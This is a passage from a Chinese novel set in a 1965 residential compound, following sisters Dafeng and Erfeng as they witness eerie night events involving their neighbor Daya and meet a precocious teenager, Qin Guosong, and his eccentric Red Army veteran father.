大凤拽了一下二凤责怪道:“好好走路,别忘了你还是个学生!” 二凤听话的收回了腰肢的摆动,给姐姐做了个鬼脸:“姐姐,我发现你结了婚一点变化都没有,听到人们说女人结了婚变化是很大的。” 大凤望着二凤说:“什么变化呀?你懂的?” 二凤回敬道:“这谁不懂啊,怀孕呗,生孩子呗。” 大凤低下了头,沉思了一下,羞羞的说:“我跟你姐夫商量好了,趁年轻多在事业上做出一些事情来,不着急要孩子。” 二凤故意揶揄道:“还是姐姐的境界高啊?追求上进,不过我那天听妈念叨你了,她想快点早点抱上外孙,姐夫他妈也跟咱妈在一起开玩笑的说过,这一天天闲得慌,带个孩子就好了。” 姐儿俩边说边笑的走到了离她们家不远的天主教堂。教堂里面的灯还亮着,里面传出阵阵的诵经声音。 二凤拉了大凤的手说:“姐姐,咱们进去看看,高爷爷不带咱们来,咱们自己进去!” 大凤说道:“嗯,咱们进去看看,回去别给爸妈他们说就行了。” 教堂的偏门开着,两个人轻手轻脚的走了进去。 教堂里面一片灯火辉煌。一进门唱诗的声音由小到大,由弱到强,此起彼伏的飘进她俩的耳中。俩人小心翼翼的找了个地方坐下。当她们看到别人都跪着又不好意思的站了起来。挪到教堂的后面在一个黑影处站着看教堂里面的景色。 教堂里清爽凉快,额头上的汗水一会儿就没了。姐儿俩也不敢说话,就站在那儿好奇的看着。忽然她们看到离她们不远处跪着一个人。她们看到了那张俊俏的侧脸,那不就是大雅吗?紧挨着大雅旁边跪着一个男人。这个男人穿了一身黑色的神职服装,眼睛闭着嘴里念念有词,男人的脸微微侧向身旁的大雅,不知道对她讲什么,大雅低着头静静的听着。 大凤张望着四处看。看看有没有高老头。她用目光环绕了教堂几遍,也没有看到高老头的影子。 这座天主教堂始建于公元1901年。扩建于公元1910年。名圣伯多实禄堂,是由法国传教士所建。是河北著名的天主教堂之一。该教堂位于市中心,是一处典型的罗马建筑。教堂气势宏伟,风格典雅,可容纳千人礼拜。 教堂内有14根高耸的红色圆柱支撑着屋顶。祭台上有12根石柱,象征着耶稣基督的12位门徒。两侧的墙壁上悬挂了14幅美丽的圣经画,描述着的是耶稣基督受苦受难后被定死在十字架上的故事。 广阔的穹顶,舒展的空间,使教堂显得庄严而神圣。 这时教堂内的宗教活动已经接近尾声。唱诗的和声越来越小,有的人已经站起来准备要离开了。大凤看了一下戴在手腕上的上海手表。指针指向9:30。她对二凤小声说:“咱们快走吧,我觉得他们要散场了。”边说着边拉了二凤的手,又顺着侧门走了出去。 二凤看了大凤说:“真挺惊讶的啊?真没想到这个平时看不到个人影的人竟然也信这个!” 大凤倒显得挺平静。对二凤说:是有些惊讶。我平时就觉得她有些神秘。竟然还真的是挺神秘的。不过这也没什么,信仰自由吗?” 大凤不想让二凤知道她与大雅之间的一些事情,所以表情就显得有些轻描淡写。 二凤转了话题又说:“你没看到她身旁那个男的?一看就是教堂里的人。在给她说什么呢?” 大凤说道:“人家在说经里的事呗。二凤,这事回去不要给爸妈他们说。” 二凤点了点头。 姐俩边说边走到了街上,看到街边的路灯下有一个卖冰棍的老太太在吆喝着。牛奶小豆冰棍儿三分一根儿5分一根儿~~ 两人走到卖冰棍的老太太跟前买了两根冰棍。二凤嚷嚷的说道:我要小豆的!” 大凤笑出了声:“傻丫头,小豆的便宜。” 二凤也笑了:“我就爱吃小豆的!” 姐儿俩边吃冰棍边向家走去。 大凤回了家,进了屋,见丈夫黄国英还在外面乘凉。自己打了水擦了擦身子关了灯在床上躺下。 今晚太热了,屋里一丝风都没有,闷热的空气躺下就是一身汗。大凤拿了把扇子给自己扇着风,脑子里想着晚上在教堂看到的一些事情。这个大雅太神秘了,她从不主动说自己的事情,除非你看到了。有时候即使你看到了,她都不给你讲其中的缘由。 大凤是个善解人意的姑娘,她翻了一个身又想到:别人的事不给你讲,总是有原因的…… 她想着想着竟然有了困意,把扇子一丢,睡着了。 二凤也回到了自己屋里,她和三凤在一个屋里睡觉。见三凤还没有睡,拿了盆到外面院里的自来水管接了半盆水。边接水边把嘴凑过水管水龙头咕咚咕咚的喝了几口凉水。冰凉的自来水喝下肚立刻觉得全身凉爽多了。她打了水回到屋中,擦完身子穿上内衣内裤躺在床上。见三凤那边趴在床上还在写作业。二凤说道:“三凤写完作业赶紧睡觉,开着灯姐睡不着。” 三凤一边答应着,一边合上作业本,嘴里说着:“好了好了,写完了,关灯睡觉。” 二凤一觉醒来已是后半夜。她被外面的闷雷声惊醒。闷雷声由远及近,看来是要有一场暴风雨了。她忽然觉得肚子有些难受。好像是要闹肚子了。她后悔吃了冰棍,又喝了一肚子凉水。现在肚子里叽里咕噜的要去跑厕所。她赶紧起来,衣服都没来得及穿,拿了手纸穿着内衣内裤就往外跑。里院的女厕所在院里的东南角,离着她们家住的房子比较远。靠近他们家门旁西南角也有一间厕所,这间厕所是男厕所。二凤也顾不了许多了,直接奔男厕所跑去。跑到门前她咳嗽了一声,里面没有动静,就径直跑了进去。 外面的雷声伴着闪电一声一声的越来越紧。二凤方便完出了厕所,快速往屋跑去。就在她快要跑到屋门时,抬头向北面天上望了一下,借着闪电她忽然看到北房顶上有一个人。 这个人长长的头发,雪白的身子。呀!是一个一丝未挂的裸体女人,在房顶上行走。 吓得二凤一下子就呆立在原处。她本想挪动身子进屋。屋门离她也就是不到两米远。她忽然觉得自己的腿迈不动了。像是被钉子钉在了原地动弹不了。她呆呆的看着房顶上的那个女人,想喊,但喊不出声,又怕把房顶上的女人吓着,就这样呆呆的看着。 只见那房顶上的女人踏着房檐上的房瓦,慢慢的走着,走得很稳,甚至有些发飘,有些像仙女下凡。电闪雷鸣的天空好像对她就没有存在一样。她踩着北房顶上的瓦片,慢慢地向院里的东房顶的方向走去。走到房顶的边缘时忽然一下子就不见了。二凤下意识的啊了一声,忽然她自己也说不上来哪来的一股劲。一下子跑到院中,掩在院中假山旁边,顺着那女人消失的方向看去。 顺便交代一下二凤的性格和大凤正相反,骨子里透着一股天不怕地不怕的劲头,半大小子的性格经常得到她父亲张子东的赞赏。老张经常对人们讲,我这个二丫头啊,是投错了胎了,她原本来就应当是个男孩! 可二凤偏偏就是个女孩,这个女孩可不简单,咱们走着瞧吧。 二凤绕过院中央的假山,就在她向着那女人消失的方向望去的时候,那个女人忽然在东房的房顶上出现了,二凤的目光跟着那个女人,那个女人在房顶上依旧是慢慢的移动,向南移动。只见那女人移动到东南角的那间女厕所,沿着厕所的屋顶翻过那道隔着里院和外院的院墙又站到了外院东房的房顶上。二凤走到隔墙的月亮门的门边。虚掩着身子向外院看去。她抬头向外院的东边的房上看,那个女人沿着外院的东房的房顶向南边那个厕所走去,走到外院那个厕所顶上,然后转了身向二凤藏的月亮门的方向望了望,一晃便消失了。 二凤险些惊掉了下巴。她掐了一下自己的胳膊,看看是不是在做梦,还好胳膊感觉到疼,这不是梦! 二凤壮了胆子向外院的那间厕所的方向走去。雷声和闪电渐渐远去,闪电留下的光亮清晰的给这个寂静的大院带来了魔幻的影像。二凤小心翼翼的走近外院的那间厕所。就在她走过高老头住的那间屋的门口时,扭头看了一下。高老头的屋没有关门,屋内也没有点灯。墙角有一盏小煤油灯,在忽明忽暗的闪动。二凤走过门口停住了脚步。往回挪动了一下脚步,她好奇的向屋里张望了一下。这时一道闪电闪了一下,她忽然看到屋里有两个人。一个面向圣象跪着,这人是高老头;另一个一丝不挂的在床上躺着,秃头。再一道闪电亮过来,二凤看清楚了床上躺的那个没有头发的一丝不挂的是个女人!真真切切,高耸的乳房,洁白的身子,静静的仰面躺在床上。那俊俏的脸颊在闪电忽明忽暗的映衬下,宛若一尊大理石雕像。眼角似乎还挂着泪珠…… 高老头面向墙面的圣母象跪着,闭着眼,嘴角龕动着,似乎对门外的事一无所动,一无所知。 二凤满腹狐疑的迈步走进屋内。她走得很轻,站到跪着的男人跟前转脸向床上望去。她想看清楚躺在床上的那个人。屋里静静的没有人说话。二凤也不知道怎样开口,只是默默的看着。她只希望闪电照的明亮些,好辨认一下躺在床上的是什么人,是谁? 那女人的面孔好熟悉,头上光光的一根头发都没有,那般俊俏的像一个尼姑,像一个修女,忽然她心里颤动了一下,是她?!不可能,她有着满头飘动的秀发,一头自来卷的偏亚麻色的色彩的秀发。那房顶上的那个女人呢?看身材像极了这个躺在床上的女人。 时间像凝固了一样,没有人说话,静静的屋里三个人谁也没有打破这个沉默。二凤默默的转身走出,轻轻的掩了房门。 她没有回家,径直去了院外门口大雅的门前。她掀了一下棉门帘子,屋里的门没有关。她看了一眼屋内,借着窗外映进来的光亮,床上清清楚楚的躺着一个女人,躺着一个长头发的穿着衣服的女人,那女人睡着了…… 二凤缓缓的走回了自己的屋子,她像是做了一场梦,又像是看了一部鬼怪的电影。你说这丫头的胆子有多大?半夜三更的一个人经历的这一幕一幕,如果换了别人那还不吓得魂飞魄散。别说是一个女孩子,就是换做几个男人也照样会吓得瑟瑟发抖,浑身汗毛倒竖。 二凤毕竟是二凤,她像没事人一样回到屋内,躺在床上思索着刚才在她眼前发生的一幕一幕。房顶上的裸体女人是谁?一个女人不穿衣服,在电闪雷鸣的深夜在房顶上散步。高老头房子里那个没有头发的裸体女人又是谁?她为什么躺在高老头的床上?高老头的房子门为什么不关?难道不怕看外面的人看到屋里吗?…… 二凤想了半天也没想出一个答案。她狠下心来,暗暗地叮嘱自己,我一定要把这个事情查得水落石出,没有找到根苗以前对谁都不讲!在我们这个大院都是住的公检法的人员,竟然出现这种怪事。她在想着找一个信得过的人来帮忙,思来想去也没有想起来到底找谁合适。 大凤清早醒来看了一下自己,她身上竟然穿了大雅平时穿的浅黄色的连衣裙。吓得她啊了一声,赶忙叫醒睡在地上凉席上的丈夫,惊慌的问道:“你看你看,这衣服是我的吗?我怎么不记得有这样的衣服呢?” 黄国英揉了揉眼,嘟嘟囔囔的说道:“在你身上穿着不是你的又是谁的呢?真是活见了鬼!” 大凤也怔怔的自然自语:“真是活见了鬼……” 在过后几天的每一个夜晚深夜,二凤都坚守自己的诺言,先是躲在自己住的屋檐下偷偷的向外查看,看看外面有没有什么动静,然后再走出来顺着墙根围着院子走。她的动作像极了一个有着侦察任务的侦察员,这样围着里外院转了一圈后,停在大雅住的门外。大着胆子撩开厚厚的棉门帘子。看到的依旧是一把大锁锁了门。院子里静悄悄的一点可疑的迹象都没有。 大凤好几天都没有见到大雅,神不守舍的望着这件浅黄色的连衣裙。她把连衣裙洗干净叠放好,等着大雅回来给她送回去。等了几天不见大雅的人影,于是她拿了连衣裙来到大雅的屋前,伸手摸了门沿上的钥匙开了锁进了屋。她把连衣裙放在大雅的床上,心里想等见到大雅再问一个究竟。 又过了几天的一个下午。正在上单位上班的大凤接到了一封信,信封上只落了收信人的地址和姓名,没有落下款儿,没有写明这封信是从哪里寄来的。 大凤拆开信,几行清秀的字体映在眼前: 大凤妹妹你好,我来高阳老家了,要住些日子,说不上住多久,也许一年也许时间还要长一些。 小提琴也不能教你了,我已经把它带回老家了,还有你爱人的事一定要抓紧时间去看,总不能这样过一辈子。 我知道你要问我为什么要离开那里回到老家。告诉妹妹一件事情,千万不要对别人讲。我怀孕了…… 细节等以后见了面再说。勿念。 祝你快乐!工作顺利。 雅 1965年7月21 大凤呆呆的看了信上的那些字迹,回过去又看了一遍,把信折回信封,坐下来,细细的想。 她怀孕了?这是为什么?谁的孩子? 她连连问了自己不能回答的三个问题,竟然有了一些莫名其妙的失落感。刚刚找到一个能说话的有共同语言的朋友一下子就走了,而且这一走就是很长时间。她觉得有些委屈。为她自己还是为大雅? 她真想哭…… 公安局的小张还在想着大雅门前那裸体女人的事情。 二凤也在耿耿于怀的想着查明那晚事情的真相。 然而十几天过去了,那夜晚出现的裸体女人没有再出现…… 一个月后的一天深夜。那女人又出现在大雅的门前。 这次发现这个女人的不是小张。也不是二凤。是一个刚刚搬到这个院子里的一户人家的一个男孩。这个男孩十五六岁,姓秦,叫秦国颂。 这个男孩要为我们揭开种种迷相。 还有一点大雅确实是怀孕了,第二年她生下一个女孩,这个女孩叫小雅。 第3章 颂 1965年夏。这一年秦国颂15岁。他是跟着他参加过红军长征的父亲一家人搬到这座大院的。 他们家暂时被安置在这座大院的外院的三间东房里。与高老头住的那间小南房离得很近。这三间东房的原先的住户没有说明原因就搬走了。秦国颂一家人就暂时安置在这三间东房里。 秦国颂的父亲叫秦义辉。秦义辉15岁参加革命。跟随着红四方面军参加过红军长征。秦义辉的家境还算是比较殷实,他读过私塾,人也非常的聪明。他从小就立下大志,要干一番轰轰烈烈的事业。15岁那年(1931年12月)湖北的红四方面军夺取他当时所住的县城后,他们的县改为了红安县。于是他便义无反顾地参加了红军。参加红军后,由于他有文化又加上胆大心细,很快就受到提拔。1934年红军长征时,他已经被提拔为营教导员。在长征时多处受伤表现的异常勇敢。红四方面军于1935年进行的嘉陵江战役时他身负重伤。被一块炸弹的弹片刺伤了脑部神经受损,从此便不能参加一线的工作。由于他有绘画的天赋,便在部队搞宣传工作。解放后,由于他的病情所致,就没有被安排具体的工作,赋闲在家。领导上给予他优厚的生活待遇。 他们一家刚搬来这座大院,人们只知道那个老头是个老红军。看到他衣着简朴,生活朴素。不讲究吃喝,喜欢搞艺术。给人的感觉是有些怪癖的老头。他有二儿二女,大儿子和大女儿在外地工作。三儿子就是我们所说的秦国颂。 秦义辉独自一个人住一间房,房内非常简陋,他自己做饭吃,不与家人们一起吃饭。三间东房,他妻子与小女儿住一间,另一间秦国颂一人住。 秦义辉不去上班,国家每月给他200多块钱的工资。200多元在当时就是个大数字了。一般的普通工人,一个月的工资也就是三四十块钱。秦义辉每月拿这么多工资,但生活非常的艰苦朴素。衣食住行能自己动手解决的,坚决不上街去买。身上穿着补丁落补丁的衣服,戴着一顶破旧的帽子。夏天依旧有穿草鞋的习惯。他妻子没有工作,每个月他给妻子和孩子们一共50块钱。妻子加上两个孩子的生活费用,在当时这算是中等水平。秦义辉给自己的规定一个月生活费花销10元。其余剩下的每个月将近200块钱费用全部交党费。 秦义辉一直倡导着自力更生,艰苦朴素的原则。自己动手,丰衣足食。他自己屋内的桌椅板凳都是他自己亲手打造的。年近50岁的他仍然有那么一膀子的力气,并且亲自用木头做框架,亲手打造了一辆自行车。动手力量极强的他用木头做原料,做了一台手摇风扇。当然这台手摇风扇使用起来不是那么便捷,但也基本上实现了半自动化。 秦义辉喜欢读书,在他制作的书架上面罗列了五花八门的书。有哲学,自然科学,文学,艺术等等这方面的图书,还有一些大部头的自然科学方面的翻译的著作。这些书他读没读过不太清楚,但他的儿子秦国颂没有少看他的书。秦国颂也就是唯一能够从他那里借出来的人,并且他有规定看完一本还回来再借第2本,每本借阅的时间不能超过三天。 秦义辉无师自通地学会了音乐和绘画。他屋里有小提琴,手风琴,脚踏风琴,他都能像模像样的弹奏出些曲子来。这无疑都给他的简陋的屋子里增添了些神秘色彩。再配上墙上他自己画的油画,这屋子里住的人倒不像是个老红军,更像是一个搞艺术的人。他穿戴随随便便邋里邋遢,性情中还真透得出那么一点艺术家的风范。 秦义辉的这种散乱近似有些疯疯癫癫的生活方式,加上他红军资历的背景,对他日后的生活带来了意想不到的好处。是的,在往后10来年的日子里,他的这些书籍都得到了保存,成为他儿子吸取知识的主要来源之一。 秦义辉是老干部,但他不是领导。他喜欢艺术但不关心政治。他有上级单位,但他从不去上班。他生活无忧,过着简朴的生活。他随心所欲,没有人敢惹他,也没有人敢管他。他外表随和,见人总是笑呵呵的,人们见到他从来不称他的姓,也不叫他的名,就叫他老红军。这一句他最爱听,他有一个他最喜欢的儿子叫秦国颂。 秦国颂长得英俊漂亮,十五六岁的他个头1米70左右。算不上高大也不显得瘦小。这一年他上初中二年级。他不爱说话,两只大眼睛特别有神,红红的脸颊透出些许羞涩,倒像个大姑娘。他喜欢独自思考,给人的印象一看就是个很有心机的男孩。他学习优秀在班里名列前茅。人缘极好,热爱劳动,热爱同学,并且特别愿意帮助别人。别人对他的需求他更是有求必应。只要你说出来让他去做什么事,他不管能不能做,先沉思一下,然后点点头:“好,咱们试一试。”他做事有一句口头禅:做一项工作,做一件事情,力争达到每一点尽可能的完美。每一点每一个步骤完美了,整体才会完美,绝不能凑合将就。 他心灵手巧,每做一件事情都要深思熟虑,先想好方案,然后动手,力争一次成功。尽管他性格有些孤僻,但人们依旧喜欢他。 他家搬来这座大院,院里的人对这个少言寡语的男孩由初识相识到认识,渐渐的人们都喜欢这个男孩。在这座大院里最喜欢这个男孩子是住在里院的黄国英。黄国英大秦国颂六岁。一个在法院上班一个还是中学生,他们俩竟然成为性格相投,志趣相合,没有结拜的金兰之好。 秦国颂在学校学习成绩异常优秀。各科的老师都特别喜欢他,尤其是他的班主任教物理的穆老师对他更是爱护有加情有独钟。一次在物理课上,穆老师讲到了牛顿力学的部分章节。秦国颂在课堂上提问万有引力是怎么回事?穆老师微笑的回答,万有引力这一章节你要到高中才能学到,才能知道。现在你才上初二。孩子,这个问题你要想知道,下了课你找我。下了课,他找到了穆老师,低着头胆怯的说道:“高中的物理课,我基本上自学都已经学完了。” 穆老师吃惊的看着他:“真的?你都学完了?” 他点了点头:“我借了高中的课本,自学的。” “你能看懂?”穆老师有些不相信的问道。 他点了点头:“差不多能看明白,我还读了微积分呢。” 穆老师差点惊掉了下巴。满脸狐疑的说:“那我要考考你,看看你是不是真的看过。” 他点了点头,随即问道:“万有引力定律上面说宇宙天体乃至地球上的物质物体,两个以上相互之间就有引力。物体具有的质量在物体之间产生一种相互作用便是万有引力。引力的大小与物体的质量以及两个物体之间的距离有关。物体的质量越大,它们之间的万有引力就越大。物体之间的距离越小,它们之间的万有引力也就越大。” 说完他看了看穆老师:“我想问的不是这些,我想问的是它们之间的引力是从哪儿来的呢?大的物体之间的引力靠的是重力。靠物体本身的重量和质量。而那些小的物体呢?比如我们肉眼看不到的物体,它们之间的引力是怎么来的呢?比如分子原子基本粒子。它们之间的引力又是怎么来的呢?” 一连串的疑问过后,他自己又补充道:“按牛顿的万有引力定律,微生物微观世界照样是存在着引力的。这种引力也和宇宙星空天体上的星球的引力一样吗?” 穆老师瞪圆了眼睛,仔细看了看他。他不敢相信,说出这番话来的人是一个年纪仅十五六岁的孩子。停顿了片刻,穆老师语重心长的对秦国颂说:“秦国颂呀,秦国颂,孩子,我教不了你了。要解释这些,你一定要去上大学!到了大学里才能学得到。还有你问两个物体之间为什么会有引力?当然电磁力是另一回事。”说完穆老师拉着他的胳膊。:“孩子啊,跟我回家去,我借给你一本书,你或许在书里可以得找得到答案。” 穆老师拉着秦国颂回到家里,找了一本书递给他:“你先拿回去看看,有可能看不懂,看不懂也别来问我,因为我也看不懂,真的……” 秦国颂看了一下那书的名字。《相对论》,署名是一个叫爱因斯坦的人。 一天,黄国英与大凤小两口在屋里说话。话题自然就谈到了刚搬来外院的那家的人。大凤对黄国英说:“这阵子院里的人都在谈论新搬来的那家的人,我看你对那个叫秦国颂的学生挺感兴趣的,你们俩相差这么多,在一起谈什么呢? 黄国英说:“这学生懂得很多,我们俩没有什么明确的话题,就是挺愿意跟他在一起说话的。” 大凤又问道:“他爸呢,就是那个老红军。” 黄国英说:“他爸是一个特别有意思的人,也真怪了,他爸就特别喜欢我,我一去他家他就会把我叫到他屋里。他屋里是轻易不会让外人进去的,就连他媳妇儿和他的孩子们也都一样。每次我去找秦国颂,他爸只要是在家就从他那屋里出来,把我叫到他屋里去让我抽烟,听他拉小提琴或者看着他画画。真怪的一个老头。 大凤又说道:“这家的人是挺怪的,有那么点不正常呢。” 黄国英说:“说来也是挺有意思的,我就喜欢不大正常的人……这个世界如此荒诞,我们却如此正常……” 大凤听了黄国英这句无头无脑的话,顿时无以回答。停了片刻,她话中有话的说道:“我们属于正常的人吗?” 黄国英听懂了大凤话里有话的意思。点了点头,自言自语到:“是不太正常,不过我也在想办法让它正常起来。” 大凤接了他的话题说道:“给你想了办法,你又不去,你还能想出什么好办法呢?” 黄国英有些气恼的对大凤说:“这样的私事怎么好对别人讲?!你一点都不尊重我。对大雅讲了那些事,亏的你还好意思说出口。” 大凤不言语了,这事关一个男人的尊严问题。还是让男人自己去想办法解决吧。 大凤忽然觉得错的不是丈夫黄国英,而是自己。她就是这样的一个姑娘,温柔柔弱善解人意。随和不与人争辩,忍让默默的承受自己内心的痛楚…… 过了一会儿,大凤说道:“哪天方便把秦国颂叫到咱们家来,我也听听你们聊什么?别总上人家家去,你也要请人家来咱们家玩儿啊。” 黄国英点了点头:“好呀,只要你没意见,我就把他叫到咱们家来。在他们家和咱们家都一样嘛。”又接着说道:“不知道人家来不来了,国颂还是一个很害羞的,一说话脸先红,像个丫头。” 大凤笑了,还没有见过这样的腼腆的男孩子呢?看看他看见了我,是不是会紧张的手足无措呀? 这天,黄国英把秦国颂叫到了自己的家。一进家门看见二凤也在,姐儿俩正在说话呢。二凤见姐夫领过来了秦国颂,站起来就要走。黄国英说:“二凤干嘛走啊?呆着吧。你不认识他吗?刚搬来咱院的秦国颂。” 二凤冲秦国颂点了点头,算是打了招呼,笑着说道:“刚搬来的?碰过面没有说过话。” 秦国颂的脸一下就红了,低着头说:“是的,刚搬来的时间不长的。” 二凤笑笑说道:“你们聊吧,我回我妈那屋去,过来看看我姐,没别的事。” 黄国英看看站在旁边发囧的秦国颂,顺着二凤的话说道:“好吧,你过去吧,一会儿过来玩。” 二凤笑着转身跑出了屋去。 大凤忙招呼秦国颂坐下。拿过凉杯给他倒了一杯凉开水。边倒水边说:“新搬来的说说你对这个大院的印象?” 秦国颂看着黄国英说:“印象……第一印象,我感觉到这个大院,嗯,有,有些不对。” 黄国英看了看大凤,又看了看秦国颂,说道:“嗯?你给我们说说哪些不对呀?” 秦国颂不加犹豫的说道:“就凭直觉就感觉到不对。大院中间这道墙,把一个好好的大院截成了两个院子,从来就没有见过这么盖房子的。”他又接着说道:“还有我听过上了岁数的老人们说院子里不能种槐树,你看这院子不但种了,还种了两棵,并且还把这中间这个月亮门,这叫二鬼拍门。” 黄国英瞪大眼睛看着他,看着他慢条斯理的说出这番话,这哪像一个十五六岁的初中生该懂的呀。他把目光移向大凤,大凤对他点了点头,意思就是说,他说的也许有道理。大凤望着跟黄国英说话的秦国颂,问道:“这其中有什么道理呢?” 秦国颂没敢看大凤,仍然看着黄国英说道:“我只听过老人们这样说过,至于里边的道理我也不太懂得。不过你看啊,这个槐字怎么写?左边一个木,右边一个鬼,从字面上看也不吉利啊。” 黄国英略略赞同的点位点头,对大凤说道:“这回你知道我们俩为什么愿意在一起说话了吧?他懂得很多呢,跟他在一起,我这个当大哥的还要向他学知识呢。” 秦国颂急忙拦住黄国英的话,说道:“这哪是什么知识?这就是民间的一种讲究而已。信则有,不信则无嘛。别给人当成封建糟粕就烧高香了。” 大凤接着说道:“现在是新社会。这些所谓的民间传说,咱也不知道有没有道理。不过我也是第一回听说呀,看来你经历的还很多呢?” 秦国颂笑了笑:“这是我前几年跟我妈回老家听老家的老人们说的,并且还告诉我们不要爬那个槐树,会招惹事儿的。我只是听这么说。说句心里话我是从来不相信的,不过确实也是啊,我这还是第一次见到在院里种槐树的。” 大凤望着秦国颂和黄国英:“前两天我听我妈说咱们院里出事了,一开始我没往心里去,今天听他这么一说,我倒觉得有点怕呢。” 黄国英问大凤:“你妈跟你说什么了?” 大凤说:“我妈说她听外院的西屋的那老太太,就是挨着大雅住的挺近的那间屋的那家老太太说,半夜三更的看到过光着屁股的女人在院里走,不知道是谁。一开始她怀疑是大雅,又说不是,因为大雅有阵子没在家,没在院里住。这我知道,大雅回高阳老家了。” “不会是闹鬼吧?”黄国英将信将疑的说。” “哪有什么鬼呀?有可能是老太太看花眼了,又没听别人说过,老太太岁数大了,神神叨叨的。”大凤又冲秦国颂说道。“你说是吧?” 秦国颂点点头:“只听过偏僻的农村有闹鬼的事情,城市里还真的没有听说过。反正我觉得咱们这个院子里是有点怪怪的,具体我也说不上什么了,反正我就是这么个感觉。” 大凤问道:“你相信这些迷信吗?” 秦国颂回道:“不相信。不过我挺感兴趣的,觉得挺好玩儿的。” 接着话题一转。黄国英对秦国颂说:“你爸爸那个老头挺有意思的,院里的大人孩子们都喜欢他。” 秦国颂说:“他年轻的时候大脑受过点刺激。平时还好,总是乐呵呵的,有时候到了晚上他就大喊大叫的,不知道是做梦啊还是怎么的?” “他喊什么?”大凤问道。” “好像就是跟打仗什么的有关系。老子打死你们!都给你们捅了!我在外屋听的都清清楚楚的。”秦国颂补充道。 黄国英说道:“那些老革命受战争年代的影响特别重,脑子里总是忘不了那些,我爸跟大凤他爸到了一起总说这些,尤其是老哥俩在一起喝酒,没别的话题都是这些,听得我们都烦了。” 大凤说道:“不能忘记过去。忘记过去就意味着背叛。我们不都是受这样的教育长大的吗?革命传统不能丢。” 黄国英又问秦国颂:“你平时除了上课学习,都看些什么书?” 秦国颂说:“课堂上那些书我早都不看了,除了外语,其他的我自学都把高中的课程学完了。” 黄国英吃惊的看着秦国颂:“真的呀?高中的书你都自学完了?” 秦国颂点了点头。 黄国英又问:“那你现在看什么书呢?” 秦国颂回答道:“喜欢哲学和历史,有的时候看小说。这不前两天刚从我们班主任那里借来了一本书,是一个叫爱因斯坦的人写的。相对论。 大凤问道。:“是小说吗?” 秦国颂回答:不是,是科学理论方面的,比较深奥。” “你看得懂?”黄国英问道。 “不好懂。但是我喜欢看。” 大凤追问道:“哪方面的科学?” “物理方面的。我才刚看了一点点,还没有看进去。怎么说呢,写这书的这个外国老头挺怪的。他颠覆了我们对物体的运动的固有的看法。牛顿咱们都知道吧?爱因斯坦就是想颠覆牛顿的理论。”他抬起头看了看黄国英和大凤:“我没看太懂,不知道这样理解对不对。等我看懂了再给你们讲这些。” 黄国英说:“你说的这个人我们都没听说过。看来高中的书白念了。” 秦国颂说:“爱因斯坦的理论到大学才能讲的,物理系的才能学到。”说完他抬头看了一下黄国英屋里的座钟:“呀,一下子坐了这么久,我该走了,耽误你们做事了吧!有时间我再过来找你们上你们这儿来玩儿。” 黄国英:“好吧,我们一会儿去大凤她们家那边吃饭,要不你也过去一起吃?” 秦国颂推辞礼让道:“不了不了,改天吧,好吗?” 秦国颂出了门,黄国英对大凤说:“这个秦国颂确实是有点意思吧?其实他爸爸更有意思,懂音乐会画画。对了,他爸爸屋里还有手风琴和小提琴呢。明天我带你去他们家看看,也可以叫上二凤。不知道那老头喜欢不喜欢人多,反正他特别愿意让我去。我找过秦国颂两次,我们在外屋说话,他爸听见了开开门就把我叫到他屋里去。并且对我讲他这个屋里的东西只要喜欢可以随便动。我还试着拉了一下手风琴的,反正我也不会,秦国颂会。 大凤有些兴趣的说道:“行啊,叫上二凤,他爸爸要是不喜欢人多的话,我们就走。” 第二天下起了雨,整整下了一天。到晚上了,还没有要晴天的意思。吃过晚饭,黄国英叫上大凤二凤沿着房檐下面穿过月亮门来到外院秦国颂的家。秦国颂的床上铺了一堆电子元件,他正在给它们分类。看到黄国英他们进来了,赶忙把那些元件挪到床头一边,给他们腾出地方做。大凤二凤坐下了,黄国英站着指着床上的那些元件: “这些个你也懂的,你也会?” 秦国颂说:“嗯。我想着组装一台高档的收音机呢。全晶体管的。我找了电路图5个管的超外差。这种收音机市面上还不太好买呢,再说了价格也很贵。” 黄国英说:“真不简单呀。我们单位小陈也喜欢这玩意儿,经常给我显摆。他装的是一个管的,就是用耳机子听的那种。”接着又问道:“你这个难度就大多了吧?” 秦国颂点了点头。刚要给他们讲什么是超外差收音机。在里屋的他爸开门出来了。看到了黄国英哈哈笑了起来。拉了他就往屋里走。黄国英跟着他回头向大凤姐俩摆了手,示意她们跟进来。 大凤姐俩随即跟在后面进了秦义辉的屋。 这屋里可真够乱的,大凤第一印象就是这个。二凤好奇的东看西看,两只眼睛都不够使了。 秦义辉显得特别兴奋,忙拿糖果给他们吃。大凤接过糖果没有吃,二凤不管那些剥开就吃。黄国英忙对大凤小声说:“他给了你,你赶紧吃,不然他会不高兴的。” 大凤连忙点头,赶紧剥开糖果吃。 秦义辉开心的乐了,对他们说:“这屋里喜欢什么就玩什么,就跟在自个儿家一样啊。” 二凤笑着说:“大爷,我可以拿你的手风琴吗?” 黄国英对二凤说:“他不喜欢别人叫他大爷,叫他老红军就行,可高兴了。” 二凤连忙改口:“老红军,我能不能拉你的手风琴呢?” “那有啥子不行的?给你。”秦义辉哈哈大笑着,用浓重的家乡口音边说边把手风琴递给了二风。 二凤不会拉手风琴,她就是看着新鲜摆弄摆弄。秦义辉用手指了指黄国英又指了指门外。给他示意道:“把外边那个叫进来。他会。”黄国英打开门,冲着外间的秦国颂说:“叫你呢!” 秦国颂进了屋。黄国英对他说:“你给我们展示一下。你爸说你会。” 秦国颂有些腼腆的说:“只会那么一点儿。” 他接过二凤手中的手风琴背在肩上。左手有力地拉动了一下琴箱,右手在键盘上给了几个和弦。琴嗡的一下响了起来。他又弹了一串音阶。想了想冲着大凤说:“拉个什么曲子?” 大凤笑着说:“我哪懂?挑着你最拿手的让我们欣赏。” “我试试……试试拉那首听妈妈讲那过去的事情吧。”秦国颂有些谨慎的说着,随即拉响了琴。 琴声从琴箱里缓缓飘出…… 大凤小声的跟着琴声哼唱起来。随着琴声的悠扬,二凤也加入了演唱的节奏。尽管他们俩唱的声音都很小,但是甜美的声音立刻给这间屋子里带来了生机。人们的脸庞都泛着红光。屋里的气氛和谐温馨,美丽。 秦义辉乐呵呵的拿起画笔,停了一下,又把画笔放下了。从书架子上取一下照相机。打开镜头,咔嚓咔嚓的照起来。他这台照相机还真不错,竟然还带闪光灯! 大凤唱着唱着声音慢慢的小了起来,她低下了头,忽然想起了大雅,想起来会拉小提琴的大雅。 秦义辉拍了几张照片,放下相机,眯着眼睛看着二凤唱歌。他沉浸在歌曲的意境中…… 当二凤唱到:“冬天的风雪像狼一样的嚎叫,妈妈……” 